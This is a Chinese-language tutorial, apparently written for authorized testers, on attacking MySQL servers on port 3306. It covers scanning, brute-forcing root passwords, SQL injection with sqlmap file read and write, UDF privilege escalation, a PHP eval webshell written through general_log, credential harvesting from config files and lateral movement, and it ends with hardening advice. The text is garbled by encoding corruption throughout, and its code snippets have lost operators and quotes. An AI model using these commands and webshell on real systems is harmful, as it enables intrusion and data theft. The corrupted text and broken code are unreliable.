到提權(quán)與安全加固)
1. 為什么3306端口值得專(zhuān)門(mén)做一次全流程梳理做安全評(píng)估這些年我?guī)缀趺看文玫侥繕?biāo)授權(quán)范圍后的第一件事就是把全端口掃一遍。掃描結(jié)果出來(lái)之后3306端口總是排在我優(yōu)先關(guān)注清單的前幾位。原因很簡(jiǎn)單MySQL作為使用率最高的開(kāi)源關(guān)系型數(shù)據(jù)庫(kù)之一部署量太大了而它的默認(rèn)配置和運(yùn)維習(xí)慣又給安全評(píng)估留下了太多可以切入的面。3306端口本身只是一個(gè)TCP端口真正危險(xiǎn)的是它背后承載的MySQL服務(wù)。很多團(tuán)隊(duì)把MySQL部署在云服務(wù)器上為了方便遠(yuǎn)程管理直接把bind-address設(shè)為0.0.0.0或者綁定了公網(wǎng)網(wǎng)卡再配一個(gè)弱口令root密碼。這種情況下3306端口就像一個(gè)敞開(kāi)的大門(mén)誰(shuí)都能上來(lái)試兩下。這個(gè)話題適合誰(shuí)看一個(gè)是剛接觸Web安全、想系統(tǒng)了解數(shù)據(jù)庫(kù)層面前沿打法的初學(xué)者另一個(gè)是已經(jīng)能熟練打Web漏洞但對(duì)內(nèi)網(wǎng)數(shù)據(jù)庫(kù)滲透鏈路不熟的運(yùn)維或開(kāi)發(fā)。全文會(huì)按照一次完整的授權(quán)測(cè)試流程來(lái)梳理從端口探測(cè)、指紋識(shí)別、弱口令嘗試、SQL注入到權(quán)限擴(kuò)展每一步都還原真實(shí)測(cè)試中的操作和判斷邏輯。必須強(qiáng)調(diào)的是這篇文章里的所有思路和方法都只能在獲得書(shū)面授權(quán)的目標(biāo)范圍內(nèi)使用或者在自己的靶場(chǎng)、本地虛擬機(jī)里練習(xí)。越是有殺傷力的技術(shù)越要守得住底線。2. 信息收集階段確認(rèn)3306端口和MySQL指紋的真實(shí)打法2.1 端口探測(cè)不能只看Open狀態(tài)多數(shù)新手拿到nmap的-sV結(jié)果之后看到3306端口顯示open就開(kāi)始高興接著就急著去爆破。實(shí)際上這一步遠(yuǎn)遠(yuǎn)不夠。端口是Open的不代表MySQL一定運(yùn)行在這個(gè)端口上也不代表這個(gè)MySQL能正常通信。我在測(cè)試中遇到過(guò)不少反向代理、端口映射和防火墻規(guī)則導(dǎo)致的服務(wù)錯(cuò)亂所以信息收集階段至少要確認(rèn)三件事。第一確認(rèn)端口上確實(shí)跑的是MySQL。用nmap的服務(wù)識(shí)別加版本探測(cè)nmap -sS -sV -p 3306 10.10.10.10版本信息里如果出現(xiàn)mysql字樣比如mysql 5.7.44或者mysql 8.0.36就可以進(jìn)入下一步。有些時(shí)候nmap返回的結(jié)果是tcpwrapped或者mysql但沒(méi)有版本號(hào)這種情況說(shuō)明可能存在防火墻攔截或者服務(wù)做了定制需要再用手工方式驗(yàn)證。第二確認(rèn)MySQL版本的真實(shí)性。版本號(hào)直接決定了后續(xù)能不能打已知漏洞。比如MySQL 5.6及以下版本和老版本的5.7存在不少已經(jīng)公開(kāi)的提權(quán)或者代碼執(zhí)行漏洞MySQL 8.0早期版本的認(rèn)證插件也出過(guò)問(wèn)題。nmap識(shí)別到的版本號(hào)不一定可信因?yàn)橛行┕芾韱T會(huì)在配置里偽造版本信息或者通過(guò)mysql_native_password的握手包干擾掃描器。更可靠的確認(rèn)方式是直接用MySQL客戶端建立一個(gè)會(huì)話或者用Python的pymysql、mysql-connector-python嘗試握手mysql -h 10.10.10.10 -P 3306 -u root -p握手過(guò)程中服務(wù)器返回的Server version字段是相對(duì)可信的。即使輸錯(cuò)密碼版本信息也會(huì)先返回。這一步基本能確認(rèn)MySQL真實(shí)存在。第三確認(rèn)3306端口是否有acl限制。很多安全做得好的目標(biāo)雖然3306對(duì)外開(kāi)放但會(huì)配置iptables或安全組只放行特定IP。如果我測(cè)試用的出口IP不在白名單里那些爆破類(lèi)操作基本沒(méi)用??焖倥袛喾绞绞怯胻elnet或者nc測(cè)試nc -zv 10.10.10.10 3306能連上不代表后續(xù)能做事連不上也別急著判斷可能是目標(biāo)主動(dòng)屏蔽了掃描器IP換個(gè)出口或者用HTTP代理中轉(zhuǎn)再試一次。2.2 指紋識(shí)別從握手包和錯(cuò)誤回顯里找線索端口確認(rèn)是MySQL之后下一步是盡可能精準(zhǔn)地拿到版本和目標(biāo)的基礎(chǔ)信息。這一步最重要因?yàn)楹竺娴穆┒蠢梅桨竿耆菄@版本來(lái)選的。手工獲取版本信息最快的方式是直接發(fā)起一個(gè)握手請(qǐng)求。我習(xí)慣用Python快速寫(xiě)一個(gè)TCP連接腳本把MySQL的協(xié)議握手流程跑一下因?yàn)橛行r(shí)候用現(xiàn)成客戶端反而會(huì)受到SSL校驗(yàn)或認(rèn)證插件問(wèn)題的影響import socket def mysql_handshake(ip, port3306, timeout5): sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((ip, port)) data sock.recv(1024) print(Raw handshake:, data[:200]) # 解析協(xié)議版本、服務(wù)器版本、連接ID、認(rèn)證插件等 sock.close() mysql_handshake(10.10.10.10)握手包里通常包含協(xié)議版本號(hào)、服務(wù)器版本字符串、連接線程ID、salt、認(rèn)證插件名。這些信息能直接告訴我三件事MySQL的大版本、當(dāng)前連接用的認(rèn)證插件是mysql_native_password還是caching_sha2_password以及目標(biāo)是否開(kāi)啟了SSL。這里有個(gè)很實(shí)用的經(jīng)驗(yàn)如果握手包里的認(rèn)證插件是caching_sha2_password說(shuō)明目標(biāo)至少是MySQL 8.0及以上版本如果是mysql_native_password大概率是5.7及以下版本。這個(gè)判斷對(duì)后續(xù)是否嘗試UDF提權(quán)、是否走老的認(rèn)證繞過(guò)思路非常關(guān)鍵因?yàn)槔习姹镜恼J(rèn)證插件和新版本的默認(rèn)配置差異很大。2.3 未授權(quán)訪問(wèn)的試探比爆破更優(yōu)先做的事在爆破之前務(wù)必試一次空密碼和匿名登錄。很多MySQL實(shí)例在初始化之后root賬號(hào)的密碼是空的或者是數(shù)據(jù)庫(kù)本機(jī)賬號(hào)只設(shè)置了localhost權(quán)限但管理員為了方便額外創(chuàng)建了root%賬號(hào)。直接嘗試空密碼連接是成本最低的測(cè)試mysql -h 10.10.10.10 -P 3306 -u root --skip-password如果連接成功說(shuō)明這個(gè)MySQL存在未授權(quán)訪問(wèn)漏洞后面的步驟可以省掉一大半。連接成功后第一件事不是急著查數(shù)據(jù)而是看權(quán)限SELECT CURRENT_USER(); SHOW GRANTS;CURRENT_USER()能看出當(dāng)前以什么身份連接SHOW GRANTS能看出權(quán)限邊界。有些目標(biāo)雖然允許空密碼登錄但只給了SELECT權(quán)限這種就只能做數(shù)據(jù)讀取沒(méi)法進(jìn)一步寫(xiě)文件或提權(quán)。不過(guò)即使只有查詢(xún)權(quán)限對(duì)于一次測(cè)試來(lái)說(shuō)已經(jīng)能拿到很關(guān)鍵的數(shù)據(jù)了。未授權(quán)訪問(wèn)還有一種情況是MySQL服務(wù)對(duì)外完全開(kāi)放但賬號(hào)只能本地登錄遠(yuǎn)程連接會(huì)被拒絕報(bào)錯(cuò)內(nèi)容類(lèi)似Access denied for user rootlocalhost。這種狀態(tài)下如果3306端口同時(shí)對(duì)外開(kāi)放了phpMyAdmin、Adminer之類(lèi)的Web管理入口就變成先打Web端再用Web端的數(shù)據(jù)庫(kù)連接功能迂回操作。3. 弱口令與賬號(hào)枚舉從爆破到驗(yàn)證的一條龍流程3.1 爆破前必須想清楚的幾件事很多初學(xué)者拿到3306開(kāi)放的第一反應(yīng)就是hydra爆破root密碼。但爆破MySQL和爆破SSH不太一樣有幾個(gè)隱藏問(wèn)題必須先弄清楚不然要么爆破沒(méi)效果要么直接把目標(biāo)賬號(hào)鎖住打草驚蛇。第一MySQL本身有登錄失敗次數(shù)的限制嗎默認(rèn)情況下MySQL并不內(nèi)置鎖定策略但很多企業(yè)會(huì)通過(guò)安全組件或定時(shí)腳本實(shí)現(xiàn)連續(xù)失敗鎖定。如果爆破頻率太高可能造成賬號(hào)被鎖反而暴露了測(cè)試行為。第二目標(biāo)MySQL的max_connect_errors參數(shù)設(shè)置。默認(rèn)是100超過(guò)這個(gè)數(shù)值后主機(jī)會(huì)暫時(shí)拒絕該IP的連接請(qǐng)求而且直觀表現(xiàn)是能連上但報(bào)錯(cuò)Host is blocked。這里有個(gè)踩過(guò)的坑hydra沒(méi)有控制連接頻率時(shí)經(jīng)常把目標(biāo)的連接錯(cuò)誤數(shù)打到上限后面合法的測(cè)試流量也進(jìn)不去整個(gè)評(píng)估進(jìn)度被拖慢。第三密碼字典的選擇。最有效的不是幾十G的超大字典而是精準(zhǔn)匹配目標(biāo)的字典。比如目標(biāo)是一卡通系統(tǒng)、學(xué)校OA或者企業(yè)ERP優(yōu)先嘗試root/admin/123456/88888888/數(shù)據(jù)庫(kù)名年份這類(lèi)組合。我在一個(gè)授權(quán)項(xiàng)目中遇到過(guò)某管理系統(tǒng)的MySQL密碼設(shè)置成公司域名加年份這種信息在子域名和ICP備案里就能看出來(lái)根本不需要跑通用字典。3.2 hydra和自寫(xiě)腳本的實(shí)戰(zhàn)效率對(duì)比hydra是爆破MySQL最常見(jiàn)的選擇命令很簡(jiǎn)單hydra -l root -P pass.txt 10.10.10.10 mysql但實(shí)際測(cè)試中hydra的默認(rèn)行為是每個(gè)密碼都建立一次完整TCP連接和MySQL握手速度上限并不高。如果目標(biāo)的3306端口限速或者有連接檢測(cè)hydra很容易失效。更好的方式是精準(zhǔn)限制并發(fā)和嘗試間隔hydra -l root -P ./pass.txt -t 4 -f -W 5 10.10.10.10 mysql-t 4控制并發(fā)線程數(shù)-W 5是每個(gè)連接嘗試之間的等待時(shí)間。這樣雖然慢但不容易觸發(fā)目標(biāo)主機(jī)的連接錯(cuò)誤限制。如果手里有針對(duì)目標(biāo)的社工字典命中率會(huì)比高頻爆破高很多。對(duì)于一些需要快速驗(yàn)證的賬號(hào)密碼組合我習(xí)慣自己寫(xiě)一個(gè)小腳本用pymysql建立連接然后執(zhí)行一條簡(jiǎn)單SQL根據(jù)是否能成功execute來(lái)判斷賬號(hào)密碼是否正確import pymysql def try_login(ip, port, user, password): try: conn pymysql.connect( hostip, portport, useruser, passwordpassword, connect_timeout5 ) cursor conn.cursor() cursor.execute(SELECT VERSION()) print(f[] Success: {user}:{password} - {cursor.fetchone()}) conn.close() return True except Exception as e: return False這個(gè)腳本的好處是可以自由控制嘗試頻率和補(bǔ)充業(yè)務(wù)判斷邏輯比如先檢測(cè)賬號(hào)是否存在報(bào)錯(cuò)信息不同再?zèng)Q定要不要繼續(xù)試密碼。有些目標(biāo)在賬號(hào)不存在時(shí)的報(bào)錯(cuò)是Access denied for user test...而賬號(hào)存在但密碼錯(cuò)誤時(shí)雖然報(bào)錯(cuò)也是Access denied但錯(cuò)誤信息里會(huì)攜帶using password: YES之類(lèi)的標(biāo)識(shí)。通過(guò)這種差異可以先把有效用戶名枚舉出來(lái)。3.3 密碼進(jìn)來(lái)之后先看權(quán)限再動(dòng)數(shù)據(jù)爆破成功或者拿到一個(gè)合法口令之后很多人第一反應(yīng)是select * from users。這個(gè)順序有問(wèn)題。正確做法是先執(zhí)行權(quán)限和角色查詢(xún)確認(rèn)自己能做什么再?zèng)Q定接下來(lái)做什么。因?yàn)橥瑯邮堑卿洺晒ELECT權(quán)限、FILE權(quán)限、SUPER權(quán)限帶來(lái)的能力完全不同。SHOW GRANTS FOR CURRENT_USER(); SELECT CURRENT_USER(); SELECT hostname, port, datadir, version, secure_file_priv;secure_file_priv這個(gè)參數(shù)尤其重要——它決定了LOAD_FILE()和INTO OUTFILE能不能用。如果這個(gè)值是空字符串說(shuō)明MySQL對(duì)文件讀寫(xiě)沒(méi)有目錄限制如果值是NULL說(shuō)明完全禁止文件讀寫(xiě)如果是具體路徑如/var/lib/mysql-files/那讀寫(xiě)范圍被限制在那個(gè)目錄里。這個(gè)參數(shù)直接決定后續(xù)能不能寫(xiě)webshell、能不能讀系統(tǒng)文件。權(quán)限確認(rèn)之后再去看數(shù)據(jù)。查數(shù)據(jù)也有講究別一上來(lái)就查什么敏感表。先看有哪些庫(kù)SHOW DATABASES;判斷是否有非默認(rèn)數(shù)據(jù)庫(kù)、業(yè)務(wù)數(shù)據(jù)庫(kù)、備份庫(kù)、測(cè)試庫(kù)。測(cè)試庫(kù)往往有驚喜比如數(shù)據(jù)比生產(chǎn)庫(kù)還全或者權(quán)限配得比生產(chǎn)庫(kù)還寬松。重點(diǎn)關(guān)注mysql庫(kù)下的user表它可以幫你了解目標(biāo)的賬號(hào)體系甚至直接修改密碼或者添加新賬號(hào)。4. SQL注入到MySQL接管Web入口如何落地到33064.1 判斷注入點(diǎn)后如何關(guān)聯(lián)到數(shù)據(jù)庫(kù)權(quán)限很多場(chǎng)景下3306端口本身不直接暴露但業(yè)務(wù)系統(tǒng)存在SQL注入這種情況下最終目標(biāo)還是落到MySQL的數(shù)據(jù)權(quán)限上。兩者的鏈路是一樣的注入點(diǎn) - 確認(rèn)數(shù)據(jù)庫(kù)類(lèi)型和版本 - 提權(quán)到文件讀寫(xiě) - 嘗試getshell。先要確認(rèn)注入點(diǎn)后面是不是MySQL。報(bào)錯(cuò)特征很直觀MySQL報(bào)錯(cuò)常見(jiàn)關(guān)鍵字You have an error in your SQL syntax、Mysql::、supplied argument is not a valid MySQL result resource報(bào)錯(cuò)注入函數(shù)updatexml()、extractvalue()、floor()這些都是MySQL特色注釋風(fēng)格--、#、/*!*/其中#注釋是MySQL的典型特征確認(rèn)是MySQL之后通過(guò)sleep(5)或者benchmark(10000000,sha1(test))做時(shí)間盲注確認(rèn)當(dāng)前用戶是否有較高的權(quán)限。我一般會(huì)優(yōu)先執(zhí)行and (select 1 from mysql.user limit 0,1) 0如果能正常返回說(shuō)明當(dāng)前數(shù)據(jù)庫(kù)連接用戶有權(quán)限讀取mysql.user表大概率是root或者具備高權(quán)限的賬號(hào)。這個(gè)判斷對(duì)后續(xù)決定是否繼續(xù)深入很關(guān)鍵。普通業(yè)務(wù)賬號(hào)只有select權(quán)限的話注入基本只能讀數(shù)據(jù)沒(méi)法向文件系統(tǒng)擴(kuò)展。4.2 sqlmap工具的授權(quán)測(cè)試姿勢(shì)sqlmap是注入測(cè)試?yán)锢@不開(kāi)的工具但它不是萬(wàn)能藥。拿到一個(gè)注入點(diǎn)之后我通常是先用sqlmap做自動(dòng)化確認(rèn)然后手工驗(yàn)證關(guān)鍵步。基礎(chǔ)命令sqlmap -u http://target.com/news.php?id1 --dbmsmysql --batch如果注入點(diǎn)存在接著做權(quán)限和庫(kù)表信息收集sqlmap -u http://target.com/news.php?id1 --dbmsmysql --privileges --batch sqlmap -u http://target.com/news.php?id1 --dbmsmysql --dbs --batch sqlmap -u http://target.com/news.php?id1 --dbmsmysql -D target_db --dump --batch但sqlmap在執(zhí)行大量自動(dòng)化請(qǐng)求時(shí)容易觸發(fā)WAF或日志告警。更穩(wěn)妥的做法是把流量放慢加--delay2或者用--safe-url搭配一個(gè)正常的請(qǐng)求做間隙請(qǐng)求。還有一個(gè)實(shí)用參數(shù)是--no-cast有些場(chǎng)景下MySQL版本較新sqlmap默認(rèn)的CAST類(lèi)型轉(zhuǎn)換會(huì)失敗加這個(gè)參數(shù)能提高成功率。sqlmap最核心的擴(kuò)展功能是文件讀寫(xiě)和命令執(zhí)行前提是數(shù)據(jù)庫(kù)賬號(hào)具備FILE權(quán)限和secure_file_priv允許。文件讀取sqlmap -u http://target.com/news.php?id1 --dbmsmysql --file-read/etc/passwd --batch一旦能讀文件就可以嘗試讀Web配置文件、數(shù)據(jù)庫(kù)配置文件、源碼文件進(jìn)一步擴(kuò)大戰(zhàn)果。文件寫(xiě)入sqlmap -u http://target.com/news.php?id1 --dbmsmysql --file-write/tmp/shell.php --file-dest/var/www/html/shell.php --batch這一步成功的話等于直接getshell。但實(shí)際成功率取決于很多因素MySQL的secure_file_priv限制、Web目錄的寫(xiě)權(quán)限、--file-dest的路徑是否正確。我統(tǒng)計(jì)過(guò)真實(shí)項(xiàng)目中sqlmap文件寫(xiě)入直接成功的比例并不高多數(shù)時(shí)候需要結(jié)合手工確認(rèn)路徑。4.3 寫(xiě)shell的路徑推斷與文件權(quán)限驗(yàn)證寫(xiě)shell最讓人頭疼的不是能不能寫(xiě)而是寫(xiě)到哪。路徑推斷有幾個(gè)穩(wěn)妥的來(lái)源報(bào)錯(cuò)信息泄露。讓頁(yè)面報(bào)個(gè)500有時(shí)候完整物理路徑就出來(lái)了。讀Web配置文件。常見(jiàn)路徑/etc/nginx/nginx.conf、/etc/apache2/apache2.conf、/var/www/html/wp-config.php。信息收集階段的目錄掃描。如果掃出來(lái)有/phpmyadmin/、/adminer.php這些腳本目錄通常和Web根目錄在同一存儲(chǔ)上可以直接推斷。路徑確認(rèn)之后寫(xiě)shell之前先做文件寫(xiě)入測(cè)試。寫(xiě)一個(gè)內(nèi)容無(wú)害的探針文件SELECT test_probe INTO OUTFILE /var/www/html/probe.txt;然后訪問(wèn)http://target.com/probe.txt能訪問(wèn)到就說(shuō)明路徑正確且目錄可寫(xiě)。如果訪問(wèn)不到看看有沒(méi)有可能被CDN或者目錄規(guī)則攔掉了也可以嘗試寫(xiě)到其他物理路徑比如/tmp/后續(xù)靠別的漏洞配合執(zhí)行。關(guān)于shell內(nèi)容別寫(xiě)太大的馬。很多Web環(huán)境有上傳校驗(yàn)、WAF、運(yùn)行目錄限制。我一般先寫(xiě)一個(gè)最小化的PHP探針確認(rèn)解析沒(méi)問(wèn)題后再?zèng)Q定要不要傳功能更全的馬。小馬內(nèi)容越簡(jiǎn)單越好比如?php echo md5(probe); ?能解析出結(jié)果了再考慮下一步操作。直接上大馬很容易被安全設(shè)備抓到特征沒(méi)必要在授權(quán)測(cè)試?yán)锩斑@個(gè)風(fēng)險(xiǎn)。5. 拿到數(shù)據(jù)庫(kù)權(quán)限之后的擴(kuò)展思路提權(quán)與文件系統(tǒng)交互5.1 UDF提權(quán)的真實(shí)條件與常見(jiàn)失敗原因UDFUser Defined Function提權(quán)是MySQL滲透里提到最多、實(shí)際成功率卻不太高的一條路因?yàn)闂l件限制非常死。原理是通過(guò)自定義函數(shù)調(diào)用系統(tǒng)命令。標(biāo)準(zhǔn)流程是把UDF動(dòng)態(tài)庫(kù)文件寫(xiě)入MySQL插件目錄創(chuàng)建自定義函數(shù)然后通過(guò)sys_exec()或sys_eval()執(zhí)行系統(tǒng)命令。但每一步都有坑。先看插件的存放目錄SHOW VARIABLES LIKE plugin_dir;我們需要把so文件Linux或dll文件Windows寫(xiě)進(jìn)這個(gè)目錄。寫(xiě)入文件的方式有兩條路一是數(shù)據(jù)庫(kù)具備FILE權(quán)限且secure_file_priv允許直接用SELECT ... INTO DUMPFILE寫(xiě)二是如果已經(jīng)能通過(guò)SQL注入或其他方式拿到Webshell直接上傳到插件目錄。這里的第一個(gè)坑MySQL 8.0默認(rèn)移除了UDF文件的匿名寫(xiě)入支持。老版本可以用SELECT ... INTO DUMPFILE直接寫(xiě)二進(jìn)制文件新版本的secure_file_priv默認(rèn)是NULL大部分情況下寫(xiě)不進(jìn)去。第二個(gè)坑系統(tǒng)表mysql.func需要INSERT權(quán)限。如果當(dāng)前賬號(hào)不是root或者不是所有庫(kù)的ALL PRIVILEGES創(chuàng)建函數(shù)時(shí)會(huì)報(bào)錯(cuò)。第三個(gè)坑MySQL服務(wù)運(yùn)行用戶對(duì)插件目錄的寫(xiě)權(quán)限。很多Linux環(huán)境下MySQL使用獨(dú)立的mysql用戶運(yùn)行插件目錄是root所有Web服務(wù)寫(xiě)的文件落在插件目錄后MySQL加載時(shí)可能因?yàn)闄?quán)限問(wèn)題失敗。所以我的建議是先別急著UDF提權(quán)先確認(rèn)當(dāng)前賬號(hào)是不是root、plugin_dir在哪、secure_file_priv是什么狀態(tài)。如果三個(gè)條件都滿足再走UDF如果不滿足果斷換思路。5.2 general_log日志寫(xiě)shell的適用場(chǎng)景UDF走不通時(shí)另一個(gè)實(shí)用思路是利用MySQL的通用日志general_log寫(xiě)shell。原理是把general_log開(kāi)關(guān)打開(kāi)、把日志輸出目錄改成Web目錄然后把SQL語(yǔ)句作為日志內(nèi)容寫(xiě)進(jìn)去日志文件就是一個(gè)包含PHP代碼的文件了。默認(rèn)情況下general_log是關(guān)閉的但如果有SUPER權(quán)限可以動(dòng)態(tài)修改SET global general_log ON; SET global general_log_file /var/www/html/shell.php;然后執(zhí)行一條包含惡意代碼的SQLSELECT ?php eval($_POST[cmd]); ?;這條SQL會(huì)以日志的形式追加到/var/www/html/shell.php里。之后訪問(wèn)這個(gè)文件就能觸發(fā)里面的PHP代碼。這個(gè)思路在實(shí)際測(cè)試?yán)锍晒β时萓DF高因?yàn)槔@過(guò)了secure_file_priv的限制也不用考慮插件目錄權(quán)限。它的前提是當(dāng)前賬號(hào)有SUPER權(quán)限或SET GLOBAL權(quán)限而這在拿到root賬號(hào)之后基本都能滿足。但是有一個(gè)很隱蔽的坑PHP解析器只認(rèn)?php開(kāi)頭的標(biāo)簽而general_log日志里除了我們寫(xiě)入的SQL還會(huì)記錄連接時(shí)間、連接ID、操作日志等額外內(nèi)容。日志文件里的內(nèi)容不是純粹的PHP前面會(huì)有大量非PHP文本如果這些文本里出現(xiàn)?php之外的干擾字符不影響PHP解析——PHP解析器會(huì)忽略標(biāo)簽外的內(nèi)容但文件里如果有多個(gè)?php標(biāo)簽或者我們寫(xiě)入的語(yǔ)句本身被日志格式拆分可能導(dǎo)致解析出錯(cuò)。實(shí)際操作的技巧是SELECT ?php phpinfo();?寫(xiě)完后訪問(wèn)這個(gè)文件確認(rèn)能解析。如果文件內(nèi)容里被切斷了多寫(xiě)幾次每次在SQL語(yǔ)句末尾加上注釋符#盡量讓日志在每一行的結(jié)尾保持完整PHP標(biāo)簽。5.3 MySQL客戶端連接文件的利用除了直接在MySQL里操作還可以看看目標(biāo)主機(jī)上有沒(méi)有MySQL客戶端留下的連接記錄和配置文件。Linux下常見(jiàn)位置/root/.my.cnf~/.mysql_history/etc/mysql/應(yīng)用目錄下的application.yml、db.php、.env這些文件里經(jīng)常明文保存數(shù)據(jù)庫(kù)口令。拿到這些口令可以繼續(xù)復(fù)用用同一個(gè)數(shù)據(jù)庫(kù)賬號(hào)去連接其他主機(jī)形成橫向擴(kuò)展。我在一次評(píng)估中從目標(biāo)一個(gè)應(yīng)用的.env文件里拿到了數(shù)據(jù)庫(kù)密碼之后用這個(gè)密碼去嘗試開(kāi)放了3306的其他網(wǎng)段主機(jī)又打下來(lái)三臺(tái)。這種密碼復(fù)用的問(wèn)題在真實(shí)環(huán)境中相當(dāng)普遍。6. 內(nèi)網(wǎng)與橫向移動(dòng)靠3306端口打開(kāi)一片新天地6.1 拿下一臺(tái)外網(wǎng)主機(jī)后如何借用3306做跳板很多目標(biāo)的3306端口不對(duì)公網(wǎng)開(kāi)放但從拿下的一臺(tái)外網(wǎng)主機(jī)可以跳到內(nèi)網(wǎng)去連接其他數(shù)據(jù)庫(kù)。這種情況下最常用的手段是利用已經(jīng)控制的Linux主機(jī)做端口轉(zhuǎn)發(fā)把內(nèi)網(wǎng)某臺(tái)主機(jī)的3306端口轉(zhuǎn)發(fā)到本地。經(jīng)典思路是用ssh -L做本地端口轉(zhuǎn)發(fā)前提是拿到目標(biāo)主機(jī)的SSH權(quán)限ssh -L 13306:192.168.1.100:3306 rootpublic-target.com之后本地連接127.0.0.1:13306流量經(jīng)過(guò)跳板機(jī)轉(zhuǎn)發(fā)到內(nèi)網(wǎng)的192.168.1.100:3306。這樣就能用本地的MySQL客戶端去訪問(wèn)原本無(wú)法直達(dá)的內(nèi)網(wǎng)數(shù)據(jù)庫(kù)。如果目標(biāo)環(huán)境沒(méi)有SSH或者SSH不可達(dá)還可以用MySQL自身的INSTALL PLUGIN配合代理工具或者寫(xiě)一個(gè)簡(jiǎn)單的socket轉(zhuǎn)發(fā)腳本但這些方式比SSH轉(zhuǎn)發(fā)復(fù)雜得多穩(wěn)定性也差。優(yōu)先推薦SSH隧道方案。6.2 內(nèi)網(wǎng)橫向中MySQL弱口令的高命中場(chǎng)景內(nèi)網(wǎng)環(huán)境里數(shù)據(jù)庫(kù)弱口令的命中率通常高于外網(wǎng)因?yàn)楹芏鄡?nèi)網(wǎng)系統(tǒng)上線后沒(méi)有人做基線審計(jì)運(yùn)維為了方便密碼設(shè)置非常隨意。常見(jiàn)組合root / rootroot / 123456root / 12345678root / root123root / 數(shù)據(jù)庫(kù)名2024test / testadmin / admin888在內(nèi)網(wǎng)掃描時(shí)速度可以適當(dāng)提上去因?yàn)閮?nèi)網(wǎng)連接質(zhì)量高。我喜歡配合nmap做批量探測(cè)先發(fā)現(xiàn)內(nèi)網(wǎng)中的所有3306端口再對(duì)存活主機(jī)做賬號(hào)口令驗(yàn)證nmap -sV -p 3306 192.168.1.0/24拿到一批3306存活主機(jī)后使用一個(gè)簡(jiǎn)單的密碼驗(yàn)證腳本批量嘗試比單臺(tái)爆破效率高得多。但要注意控制速度避免內(nèi)網(wǎng)安全設(shè)備報(bào)警。還有一個(gè)容易被忽略的細(xì)節(jié)——內(nèi)網(wǎng)數(shù)據(jù)庫(kù)通常不止一臺(tái)同一個(gè)密碼可能同時(shí)管理十幾臺(tái)實(shí)例。拿下一臺(tái)之后保留證據(jù)繼續(xù)橫向測(cè)試時(shí)要克制避免破壞線上業(yè)務(wù)。6.3 大內(nèi)網(wǎng)掃描時(shí)的CIDR計(jì)算與存活判斷內(nèi)網(wǎng)掃描時(shí)很多新手一上來(lái)就掃整個(gè)192.168.0.0/16這在實(shí)際場(chǎng)景里既慢又容易被發(fā)現(xiàn)。正確的思路是先用存活主機(jī)探測(cè)縮小范圍再精準(zhǔn)掃描3306。存活判斷推薦用nmap -sn做大范圍ICMP探測(cè)然后用TCP SYN掃描配合--open只顯示開(kāi)放端口。針對(duì)3306端口nmap -sn 192.168.1.0/24 nmap -sS -p 3306 --open 192.168.1.0/24有時(shí)候目標(biāo)禁ICMP-sn的結(jié)果不可靠可以用TCP ACK pingnmap -PA -p 80,443,3306,3389 192.168.1.0/24針對(duì)每種網(wǎng)段規(guī)模CIDR劃分需要算清楚。/24是256個(gè)IP/16是65536個(gè)IP掃描時(shí)長(zhǎng)和日志量完全不是一個(gè)量級(jí)。除非有明確授權(quán)和充分必要性大網(wǎng)段全端口掃描不是值得推廣的習(xí)慣容易引發(fā)大面積業(yè)務(wù)告警。判斷哪些網(wǎng)段值得掃可以從目標(biāo)網(wǎng)絡(luò)架構(gòu)圖、已經(jīng)獲取的網(wǎng)卡配置、路由表、DNS解析記錄里找線索。先在內(nèi)網(wǎng)機(jī)器上執(zhí)行ip addr route -n arp -a cat /etc/hosts這些信息能直接告訴你當(dāng)前主機(jī)的網(wǎng)段、網(wǎng)關(guān)和已知的其他主機(jī)比盲目大網(wǎng)段掃描精準(zhǔn)得多。7. 防守視角從測(cè)試鏈條反推MySQL加固的關(guān)鍵點(diǎn)7.1 賬號(hào)、權(quán)限與暴露面的基線檢查站在防守方看前面所有測(cè)試手段之所以能成立絕大多數(shù)原因是基礎(chǔ)運(yùn)維動(dòng)作沒(méi)做到位。我在這里把自己實(shí)際檢查的基線項(xiàng)列出來(lái)每一條都對(duì)應(yīng)前面流程里的某個(gè)突破口。第一綁定地址和網(wǎng)絡(luò)暴露。MySQL配置文件my.cnf或my.ini里必須有bind-address 127.0.0.1或者只綁定內(nèi)網(wǎng)網(wǎng)卡地址。如果必須對(duì)外提供服務(wù)要在防火墻或安全組層面加IP白名單。3306端口直接對(duì)全公網(wǎng)開(kāi)放是所有問(wèn)題的開(kāi)始。第二賬號(hào)權(quán)限的收斂。檢查mysql.user表SELECT user, host, authentication_string FROM mysql.user; SELECT * FROM information_schema.user_privileges WHERE GRANTEE LIKE %root%;重點(diǎn)關(guān)注root賬號(hào)是否允許遠(yuǎn)程登錄host是%、是否存在無(wú)密碼賬號(hào)、是否存在只有用戶名沒(méi)有密碼的過(guò)期賬號(hào)。生產(chǎn)環(huán)境root賬號(hào)只保留localhost登錄遠(yuǎn)程訪問(wèn)用專(zhuān)用賬號(hào)并按業(yè)務(wù)最小化授權(quán)。第三口令強(qiáng)度與密碼策略。MySQL 5.7及以上版本可以啟用validate_password插件強(qiáng)制密碼復(fù)雜度。但插件只是防線之一更關(guān)鍵的是禁止使用歷史運(yùn)維習(xí)慣里的通用密碼。內(nèi)部定期的賬號(hào)口令審計(jì)最多不超過(guò)一個(gè)季度一次。第四secure_file_priv的設(shè)置。如果業(yè)務(wù)不需要MySQL讀寫(xiě)文件統(tǒng)一設(shè)置為NULL表示禁用文件導(dǎo)入導(dǎo)出secure-file-priv NULL如果確實(shí)有備份或?qū)胄枨笾环判兄付夸泂ecure-file-priv /data/mysql-files這個(gè)選項(xiàng)能直接封死INTO OUTFILE和LOAD_FILE()的利用鏈。7.2 日志、審計(jì)與異常連接監(jiān)測(cè)數(shù)據(jù)庫(kù)層面的安全不止是配置監(jiān)測(cè)同樣重要。MySQL開(kāi)啟general_log會(huì)帶來(lái)比較大的性能開(kāi)銷(xiāo)生產(chǎn)環(huán)境一般不建議常態(tài)開(kāi)啟但可以開(kāi)啟slow_query_log和二進(jìn)制日志。二進(jìn)制日志本身記錄所有變更操作對(duì)于追蹤數(shù)據(jù)被篡改或?qū)С龊苡袔椭8鼘?shí)用的手段是從連接側(cè)和端口側(cè)做監(jiān)控異常來(lái)源IP某臺(tái)數(shù)據(jù)庫(kù)實(shí)例突然出現(xiàn)大量來(lái)源IP完全陌生的連接不管是成功還是失敗都值得告警。失敗連接次數(shù)的突增短時(shí)間內(nèi)在同一賬號(hào)上出現(xiàn)大量Access 